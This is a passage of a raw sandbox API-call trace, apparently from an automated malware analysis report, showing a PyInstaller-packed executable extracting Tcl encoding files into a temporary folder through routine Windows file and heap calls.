lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.073] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.073] CloseHandle (hObject=0x10c) returned 1 [0036.073] GetLastError () returned 0x0 [0036.073] SetLastError (dwErrCode=0x0) [0036.073] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.074] GetFileType (hFile=0x10c) returned 0x1 [0036.074] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.074] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.074] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.074] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.074] CloseHandle (hObject=0x10c) returned 1 [0036.074] GetLastError () returned 0x0 [0036.074] SetLastError (dwErrCode=0x0) [0036.074] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc") returned 68 [0036.074] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp855.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.074] GetLastError () returned 0x2 [0036.074] SetLastError (dwErrCode=0x2) [0036.074] GetLastError () returned 0x2 [0036.074] SetLastError (dwErrCode=0x2) [0036.074] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc", lpFilePart=0x0) returned 0x43 [0036.074] GetLastError () returned 0x2 [0036.074] SetLastError (dwErrCode=0x2) [0036.074] GetLastError () returned 0x2 [0036.074] SetLastError (dwErrCode=0x2) [0036.074] GetLastError () returned 0x2 [0036.074] SetLastError (dwErrCode=0x2) [0036.075] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc") returned 68 [0036.075] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.075] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp855.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp855.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.075] GetFileType (hFile=0x10c) returned 0x1 [0036.075] htonl (hostlong=0x42040000) returned 0x442 [0036.075] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.075] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.076] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.076] CloseHandle (hObject=0x10c) returned 1 [0036.076] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.076] htonl (hostlong=0x30000000) returned 0x30 [0036.076] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.076] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.076] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.077] GetFileType (hFile=0x10c) returned 0x1 [0036.077] htonl (hostlong=0x67695100) returned 0x516967 [0036.077] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561967, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.077] htonl (hostlong=0x18020000) returned 0x218 [0036.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x218) returned 0x550600 [0036.077] htonl (hostlong=0x18020000) returned 0x218 [0036.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.077] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.077] htonl (hostlong=0x42040000) returned 0x442 [0036.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.077] htonl (hostlong=0x18020000) returned 0x218 [0036.077] htonl (hostlong=0x42040000) returned 0x442 [0036.077] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.077] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.077] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.077] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.077] CloseHandle (hObject=0x10c) returned 1 [0036.077] GetLastError () returned 0x0 [0036.077] SetLastError (dwErrCode=0x0) [0036.077] GetLastError () returned 0x0 [0036.077] SetLastError (dwErrCode=0x0) [0036.077] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.077] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.077] GetFileType (hFile=0x10c) returned 0x1 [0036.078] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.078] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.078] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.078] CloseHandle (hObject=0x10c) returned 1 [0036.078] GetLastError () returned 0x0 [0036.078] SetLastError (dwErrCode=0x0) [0036.078] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.078] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.078] GetFileType (hFile=0x10c) returned 0x1 [0036.078] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.078] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.078] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.078] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.078] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.078] CloseHandle (hObject=0x10c) returned 1 [0036.079] GetLastError () returned 0x0 [0036.079] SetLastError (dwErrCode=0x0) [0036.079] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc") returned 68 [0036.079] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp857.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.079] GetLastError () returned 0x2 [0036.079] SetLastError (dwErrCode=0x2) [0036.079] GetLastError () returned 0x2 [0036.079] SetLastError (dwErrCode=0x2) [0036.079] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc", lpFilePart=0x0) returned 0x43 [0036.079] GetLastError () returned 0x2 [0036.079] SetLastError (dwErrCode=0x2) [0036.079] GetLastError () returned 0x2 [0036.079] SetLastError (dwErrCode=0x2) [0036.079] GetLastError () returned 0x2 [0036.079] SetLastError (dwErrCode=0x2) [0036.079] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc") returned 68 [0036.082] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.082] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp857.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp857.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.082] GetFileType (hFile=0x10c) returned 0x1 [0036.082] htonl (hostlong=0x42040000) returned 0x442 [0036.082] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.082] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.083] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.083] CloseHandle (hObject=0x10c) returned 1 [0036.084] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.084] htonl (hostlong=0x30000000) returned 0x30 [0036.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.084] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0036.084] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.084] GetFileType (hFile=0x10c) returned 0x1 [0036.084] htonl (hostlong=0x7f6b5100) returned 0x516b7f [0036.084] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x561b7f, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0036.084] htonl (hostlong=0x14020000) returned 0x214 [0036.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x214) returned 0x550600 [0036.084] htonl (hostlong=0x14020000) returned 0x214 [0036.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.084] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0036.084] htonl (hostlong=0x42040000) returned 0x442 [0036.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x442) returned 0x55e278 [0036.084] htonl (hostlong=0x14020000) returned 0x214 [0036.084] htonl (hostlong=0x42040000) returned 0x442 [0036.084] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0036.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0036.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0036.085] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.085] CloseHandle (hObject=0x10c) returned 1 [0036.085] GetLastError () returned 0x0 [0036.085] SetLastError (dwErrCode=0x0) [0036.085] GetLastError () returned 0x0 [0036.085] SetLastError (dwErrCode=0x0) [0036.085] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0036.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.085] GetFileType (hFile=0x10c) returned 0x1 [0036.085] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.085] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.085] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.085] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.085] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.085] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.085] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.085] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.085] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.085] CloseHandle (hObject=0x10c) returned 1 [0036.085] GetLastError () returned 0x0 [0036.085] SetLastError (dwErrCode=0x0) [0036.085] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding") returned 58 [0036.085] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0036.086] GetFileType (hFile=0x10c) returned 0x1 [0036.086] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0036.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0036.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0036.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0036.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.086] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0036.086] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0036.086] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0036.086] CloseHandle (hObject=0x10c) returned 1 [0036.086] GetLastError () returned 0x0 [0036.086] SetLastError (dwErrCode=0x0) [0036.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc") returned 68 [0036.086] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp860.enc"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0036.086] GetLastError () returned 0x2 [0036.086] SetLastError (dwErrCode=0x2) [0036.086] GetLastError () returned 0x2 [0036.086] SetLastError (dwErrCode=0x2) [0036.086] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc", lpFilePart=0x0) returned 0x43 [0036.086] GetLastError () returned 0x2 [0036.086] SetLastError (dwErrCode=0x2) [0036.086] GetLastError () returned 0x2 [0036.086] SetLastError (dwErrCode=0x2) [0036.086] GetLastError () returned 0x2 [0036.086] SetLastError (dwErrCode=0x2) [0036.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc") returned 68 [0036.086] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0036.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\encoding\\cp860.enc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\encoding\\cp860.enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0036.087] GetFileType (hFile=0x10c) returned 0x1 [0036.087] htonl (hostlong=0x42040000) returned 0x442 [0036.087] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0036.087] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x442, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x442, lpOverlapped=0x0) returned 1 [0036.089] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0036.089] CloseHandle (hObject=0x10c) returned 1 [0036.089] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0036.089] htonl (hostlong=0x30000000) returned 0x30 [0036.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0036.089] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: 